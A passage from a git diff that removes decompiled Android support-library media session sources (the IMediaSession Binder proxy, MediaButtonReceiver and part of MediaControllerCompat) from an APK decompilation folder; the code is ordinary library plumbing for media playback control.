Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(5, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public String getPackageName() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(6, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readString(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public String getTag() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(7, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readString(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public PendingIntent getLaunchPendingIntent() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(8, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? (PendingIntent) PendingIntent.CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public long getFlags() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(9, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readLong(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public ParcelableVolumeInfo getVolumeAttributes() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(10, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? ParcelableVolumeInfo.CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void adjustVolume(int i, int i2, String str) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeInt(i); - obtain.writeInt(i2); - obtain.writeString(str); - this.mRemote.transact(11, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void setVolumeTo(int i, int i2, String str) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeInt(i); - obtain.writeInt(i2); - obtain.writeString(str); - this.mRemote.transact(12, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void play() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(13, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromMediaId(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(14, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromSearch(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(15, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void playFromUri(Uri uri, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (uri != null) { - obtain.writeInt(1); - uri.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(16, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void skipToQueueItem(long j) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeLong(j); - this.mRemote.transact(17, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void pause() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(18, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void stop() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(19, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void next() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(20, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void previous() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(21, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void fastForward() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(22, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void rewind() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(23, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void seekTo(long j) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeLong(j); - this.mRemote.transact(24, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void rate(RatingCompat ratingCompat) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (ratingCompat != null) { - obtain.writeInt(1); - ratingCompat.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(25, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void sendCustomAction(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(Stub.TRANSACTION_sendCustomAction, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public MediaMetadataCompat getMetadata() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(27, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? MediaMetadataCompat.CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public PlaybackStateCompat getPlaybackState() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(28, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? PlaybackStateCompat.CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public List getQueue() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(Stub.TRANSACTION_getQueue, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.createTypedArrayList(MediaSessionCompat.QueueItem.CREATOR); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public CharSequence getQueueTitle() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(Stub.TRANSACTION_getQueueTitle, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public Bundle getExtras() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(Stub.TRANSACTION_getExtras, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(obtain2) : null; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public int getRatingType() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(32, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepare() throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(33, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromMediaId(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(34, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromSearch(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(35, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void prepareFromUri(Uri uri, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (uri != null) { - obtain.writeInt(1); - uri.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(36, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaButtonReceiver.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaButtonReceiver.java deleted file mode 100644 index b321066..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaButtonReceiver.java +++ /dev/null @@ -1,88 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.BroadcastReceiver; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -import android.support.v4.media.MediaBrowserServiceCompat; -import android.util.Log; -import android.view.KeyEvent; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class MediaButtonReceiver extends BroadcastReceiver { - private static final String TAG = "MediaButtonReceiver"; - - @Override // android.content.BroadcastReceiver - public void onReceive(Context context, Intent intent) { - Intent intent2 = new Intent("android.intent.action.MEDIA_BUTTON"); - intent2.setPackage(context.getPackageName()); - PackageManager packageManager = context.getPackageManager(); - List queryIntentServices = packageManager.queryIntentServices(intent2, 0); - if (queryIntentServices.isEmpty()) { - intent2.setAction(MediaBrowserServiceCompat.SERVICE_INTERFACE); - queryIntentServices = packageManager.queryIntentServices(intent2, 0); - } - if (queryIntentServices.isEmpty()) { - throw new IllegalStateException("Could not find any Service that handles android.intent.action.MEDIA_BUTTON or a media browser service implementation"); - } - if (queryIntentServices.size() != 1) { - throw new IllegalStateException("Expected 1 Service that handles " + intent2.getAction() + ", found " + queryIntentServices.size()); - } - ResolveInfo resolveInfo = queryIntentServices.get(0); - intent.setComponent(new ComponentName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name)); - context.startService(intent); - } - - public static KeyEvent handleIntent(MediaSessionCompat mediaSessionCompat, Intent intent) { - if (mediaSessionCompat == null || intent == null || !"android.intent.action.MEDIA_BUTTON".equals(intent.getAction()) || !intent.hasExtra("android.intent.extra.KEY_EVENT")) { - return null; - } - KeyEvent keyEvent = (KeyEvent) intent.getParcelableExtra("android.intent.extra.KEY_EVENT"); - mediaSessionCompat.getController().dispatchMediaButtonEvent(keyEvent); - return keyEvent; - } - - public static PendingIntent buildMediaButtonPendingIntent(Context context, long j) { - ComponentName mediaButtonReceiverComponent = getMediaButtonReceiverComponent(context); - if (mediaButtonReceiverComponent == null) { - Log.w(TAG, "A unique media button receiver could not be found in the given context, so couldn't build a pending intent."); - return null; - } - return buildMediaButtonPendingIntent(context, mediaButtonReceiverComponent, j); - } - - public static PendingIntent buildMediaButtonPendingIntent(Context context, ComponentName componentName, long j) { - if (componentName == null) { - Log.w(TAG, "The component name of media button receiver should be provided."); - return null; - } - int keyCode = PlaybackStateCompat.toKeyCode(j); - if (keyCode == 0) { - Log.w(TAG, "Cannot build a media button pending intent with the given action: " + j); - return null; - } - Intent intent = new Intent("android.intent.action.MEDIA_BUTTON"); - intent.setComponent(componentName); - intent.putExtra("android.intent.extra.KEY_EVENT", new KeyEvent(0, keyCode)); - return PendingIntent.getBroadcast(context, keyCode, intent, 0); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static ComponentName getMediaButtonReceiverComponent(Context context) { - Intent intent = new Intent("android.intent.action.MEDIA_BUTTON"); - intent.setPackage(context.getPackageName()); - List queryBroadcastReceivers = context.getPackageManager().queryBroadcastReceivers(intent, 0); - if (queryBroadcastReceivers.size() == 1) { - ResolveInfo resolveInfo = queryBroadcastReceivers.get(0); - return new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name); - } else if (queryBroadcastReceivers.size() > 1) { - Log.w(TAG, "More than one BroadcastReceiver that handles android.intent.action.MEDIA_BUTTON was found, returning null."); - return null; - } else { - return null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompat.java deleted file mode 100644 index 09622c2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompat.java +++ /dev/null @@ -1,1153 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.Context; -import android.net.Uri; -import android.os.Bundle; -import android.os.Handler; -import android.os.IBinder; -import android.os.Looper; -import android.os.Message; -import android.os.RemoteException; -import android.os.ResultReceiver; -import android.support.v4.media.MediaMetadataCompat; -import android.support.v4.media.RatingCompat; -import android.support.v4.media.session.IMediaControllerCallback; -import android.support.v4.media.session.IMediaSession; -import android.support.v4.media.session.MediaControllerCompatApi21; -import android.support.v4.media.session.MediaControllerCompatApi23; -import android.support.v4.media.session.MediaControllerCompatApi24; -import android.support.v4.media.session.MediaSessionCompat; -import android.support.v4.media.session.PlaybackStateCompat; -import android.text.TextUtils; -import android.util.Log; -import android.view.KeyEvent; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MediaControllerCompat { - static final String TAG = "MediaControllerCompat"; - private final MediaControllerImpl mImpl; - private final MediaSessionCompat.Token mToken; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface MediaControllerImpl { - void adjustVolume(int i, int i2); - - boolean dispatchMediaButtonEvent(KeyEvent keyEvent); - - Bundle getExtras(); - - long getFlags(); - - Object getMediaController(); - - MediaMetadataCompat getMetadata(); - - String getPackageName(); - - PlaybackInfo getPlaybackInfo(); - - PlaybackStateCompat getPlaybackState(); - - List getQueue(); - - CharSequence getQueueTitle(); - - int getRatingType(); - - PendingIntent getSessionActivity(); - - TransportControls getTransportControls(); - - void registerCallback(Callback callback, Handler handler); - - void sendCommand(String str, Bundle bundle, ResultReceiver resultReceiver); - - void setVolumeTo(int i, int i2); - - void unregisterCallback(Callback callback); - } - - public MediaControllerCompat(Context context, MediaSessionCompat mediaSessionCompat) { - if (mediaSessionCompat == null) { - throw new IllegalArgumentException("session must not be null"); - } - this.mToken = mediaSessionCompat.getSessionToken(); - this.mImpl = new MediaControllerImplApi24(context, mediaSessionCompat); - } - - public MediaControllerCompat(Context context, MediaSessionCompat.Token token) throws RemoteException { - if (token == null) { - throw new IllegalArgumentException("sessionToken must not be null"); - } - this.mToken = token; - this.mImpl = new MediaControllerImplApi24(context, token); - } - - public TransportControls getTransportControls() { - return this.mImpl.getTransportControls(); - } - - public boolean dispatchMediaButtonEvent(KeyEvent keyEvent) { - if (keyEvent == null) { - throw new IllegalArgumentException("KeyEvent may not be null"); - } - return this.mImpl.dispatchMediaButtonEvent(keyEvent); - } - - public PlaybackStateCompat getPlaybackState() { - return this.mImpl.getPlaybackState(); - } - - public MediaMetadataCompat getMetadata() { - return this.mImpl.getMetadata(); - } - - public List getQueue() { - return this.mImpl.getQueue(); - } - - public CharSequence getQueueTitle() { - return this.mImpl.getQueueTitle(); - } - - public Bundle getExtras() { - return this.mImpl.getExtras(); - } - - public int getRatingType() { - return this.mImpl.getRatingType(); - } - - public long getFlags() { - return this.mImpl.getFlags(); - } - - public PlaybackInfo getPlaybackInfo() { - return this.mImpl.getPlaybackInfo(); - } - - public PendingIntent getSessionActivity() { - return this.mImpl.getSessionActivity(); - } - - public MediaSessionCompat.Token getSessionToken() { - return this.mToken; - } - - public void setVolumeTo(int i, int i2) { - this.mImpl.setVolumeTo(i, i2); - } - - public void adjustVolume(int i, int i2) { - this.mImpl.adjustVolume(i, i2); - } - - public void registerCallback(Callback callback) { - registerCallback(callback, null); - } - - public void registerCallback(Callback callback, Handler handler) { - if (callback == null) { - throw new IllegalArgumentException("callback cannot be null"); - } - if (handler == null) { - handler = new Handler(); - } - this.mImpl.registerCallback(callback, handler); - } - - public void unregisterCallback(Callback callback) { - if (callback == null) { - throw new IllegalArgumentException("callback cannot be null"); - } - this.mImpl.unregisterCallback(callback); - } - - public void sendCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("command cannot be null or empty"); - } - this.mImpl.sendCommand(str, bundle, resultReceiver); - } - - public String getPackageName() { - return this.mImpl.getPackageName(); - } - - public Object getMediaController() { - return this.mImpl.getMediaController(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Callback implements IBinder.DeathRecipient { - MessageHandler mHandler; - boolean mRegistered = false; - private final Object mCallbackObj = MediaControllerCompatApi21.createCallback(new StubApi21()); - - public void onAudioInfoChanged(PlaybackInfo playbackInfo) { - } - - public void onExtrasChanged(Bundle bundle) { - } - - public void onMetadataChanged(MediaMetadataCompat mediaMetadataCompat) { - } - - public void onPlaybackStateChanged(PlaybackStateCompat playbackStateCompat) { - } - - public void onQueueChanged(List list) { - } - - public void onQueueTitleChanged(CharSequence charSequence) { - } - - public void onSessionDestroyed() { - } - - public void onSessionEvent(String str, Bundle bundle) { - } - - @Override // android.os.IBinder.DeathRecipient - public void binderDied() { - onSessionDestroyed(); - } - - /* JADX INFO: Access modifiers changed from: private */ - public void setHandler(Handler handler) { - this.mHandler = new MessageHandler(handler.getLooper()); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi21 implements MediaControllerCompatApi21.Callback { - StubApi21() { - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onSessionDestroyed() { - Callback.this.onSessionDestroyed(); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onSessionEvent(String str, Bundle bundle) { - Callback.this.onSessionEvent(str, bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onPlaybackStateChanged(Object obj) { - Callback.this.onPlaybackStateChanged(PlaybackStateCompat.fromPlaybackState(obj)); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onMetadataChanged(Object obj) { - Callback.this.onMetadataChanged(MediaMetadataCompat.fromMediaMetadata(obj)); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onQueueChanged(List list) { - Callback.this.onQueueChanged(MediaSessionCompat.QueueItem.fromQueueItemList(list)); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onQueueTitleChanged(CharSequence charSequence) { - Callback.this.onQueueTitleChanged(charSequence); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onExtrasChanged(Bundle bundle) { - Callback.this.onExtrasChanged(bundle); - } - - @Override // android.support.v4.media.session.MediaControllerCompatApi21.Callback - public void onAudioInfoChanged(int i, int i2, int i3, int i4, int i5) { - Callback.this.onAudioInfoChanged(new PlaybackInfo(i, i2, i3, i4, i5)); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubCompat extends IMediaControllerCallback.Stub { - StubCompat() { - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onEvent(String str, Bundle bundle) throws RemoteException { - Callback.this.mHandler.post(1, str, bundle); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onSessionDestroyed() throws RemoteException { - Callback.this.mHandler.post(8, null, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onPlaybackStateChanged(PlaybackStateCompat playbackStateCompat) throws RemoteException { - Callback.this.mHandler.post(2, playbackStateCompat, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onMetadataChanged(MediaMetadataCompat mediaMetadataCompat) throws RemoteException { - Callback.this.mHandler.post(3, mediaMetadataCompat, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onQueueChanged(List list) throws RemoteException { - Callback.this.mHandler.post(5, list, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onQueueTitleChanged(CharSequence charSequence) throws RemoteException { - Callback.this.mHandler.post(6, charSequence, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onExtrasChanged(Bundle bundle) throws RemoteException { - Callback.this.mHandler.post(7, bundle, null); - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onVolumeInfoChanged(ParcelableVolumeInfo parcelableVolumeInfo) throws RemoteException { - Callback.this.mHandler.post(4, parcelableVolumeInfo != null ? new PlaybackInfo(parcelableVolumeInfo.volumeType, parcelableVolumeInfo.audioStream, parcelableVolumeInfo.controlType, parcelableVolumeInfo.maxVolume, parcelableVolumeInfo.currentVolume) : null, null); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MessageHandler extends Handler { - private static final int MSG_DESTROYED = 8; - private static final int MSG_EVENT = 1; - private static final int MSG_UPDATE_EXTRAS = 7; - private static final int MSG_UPDATE_METADATA = 3; - private static final int MSG_UPDATE_PLAYBACK_STATE = 2; - private static final int MSG_UPDATE_QUEUE = 5; - private static final int MSG_UPDATE_QUEUE_TITLE = 6; - private static final int MSG_UPDATE_VOLUME = 4; - - public MessageHandler(Looper looper) { - super(looper); - } - - @Override // android.os.Handler - public void handleMessage(Message message) { - if (Callback.this.mRegistered) { - switch (message.what) { - case 1: - Callback.this.onSessionEvent((String) message.obj, message.getData()); - return; - case 2: - Callback.this.onPlaybackStateChanged((PlaybackStateCompat) message.obj); - return; - case 3: - Callback.this.onMetadataChanged((MediaMetadataCompat) message.obj); - return; - case 4: - Callback.this.onAudioInfoChanged((PlaybackInfo) message.obj); - return; - case 5: - Callback.this.onQueueChanged((List) message.obj); - return; - case 6: - Callback.this.onQueueTitleChanged((CharSequence) message.obj); - return; - case 7: - Callback.this.onExtrasChanged((Bundle) message.obj); - return; - case 8: - Callback.this.onSessionDestroyed(); - return; - default: - return; - } - } - } - - public void post(int i, Object obj, Bundle bundle) { - Message obtainMessage = obtainMessage(i, obj); - obtainMessage.setData(bundle); - obtainMessage.sendToTarget(); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class TransportControls { - public abstract void fastForward(); - - public abstract void pause(); - - public abstract void play(); - - public abstract void playFromMediaId(String str, Bundle bundle); - - public abstract void playFromSearch(String str, Bundle bundle); - - public abstract void playFromUri(Uri uri, Bundle bundle); - - public abstract void prepare(); - - public abstract void prepareFromMediaId(String str, Bundle bundle); - - public abstract void prepareFromSearch(String str, Bundle bundle); - - public abstract void prepareFromUri(Uri uri, Bundle bundle); - - public abstract void rewind(); - - public abstract void seekTo(long j); - - public abstract void sendCustomAction(PlaybackStateCompat.CustomAction customAction, Bundle bundle); - - public abstract void sendCustomAction(String str, Bundle bundle); - - public abstract void setRating(RatingCompat ratingCompat); - - public abstract void skipToNext(); - - public abstract void skipToPrevious(); - - public abstract void skipToQueueItem(long j); - - public abstract void stop(); - - TransportControls() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class PlaybackInfo { - public static final int PLAYBACK_TYPE_LOCAL = 1; - public static final int PLAYBACK_TYPE_REMOTE = 2; - private final int mAudioStream; - private final int mCurrentVolume; - private final int mMaxVolume; - private final int mPlaybackType; - private final int mVolumeControl; - - PlaybackInfo(int i, int i2, int i3, int i4, int i5) { - this.mPlaybackType = i; - this.mAudioStream = i2; - this.mVolumeControl = i3; - this.mMaxVolume = i4; - this.mCurrentVolume = i5; - } - - public int getPlaybackType() { - return this.mPlaybackType; - } - - public int getAudioStream() { - return this.mAudioStream; - } - - public int getVolumeControl() { - return this.mVolumeControl; - } - - public int getMaxVolume() { - return this.mMaxVolume; - } - - public int getCurrentVolume() { - return this.mCurrentVolume; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaControllerImplBase implements MediaControllerImpl { - private IMediaSession mBinder; - private MediaSessionCompat.Token mToken; - private TransportControls mTransportControls; - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl - public Object getMediaController() { - return null; - } - - public MediaControllerImplBase(MediaSessionCompat.Token token) { - this.mToken = token; - this.mBinder = IMediaSession.Stub.asInterface((IBinder) token.getToken()); - } - - @Override // android.support.v4.media.session.MediaControllerCompat.MediaControllerImpl 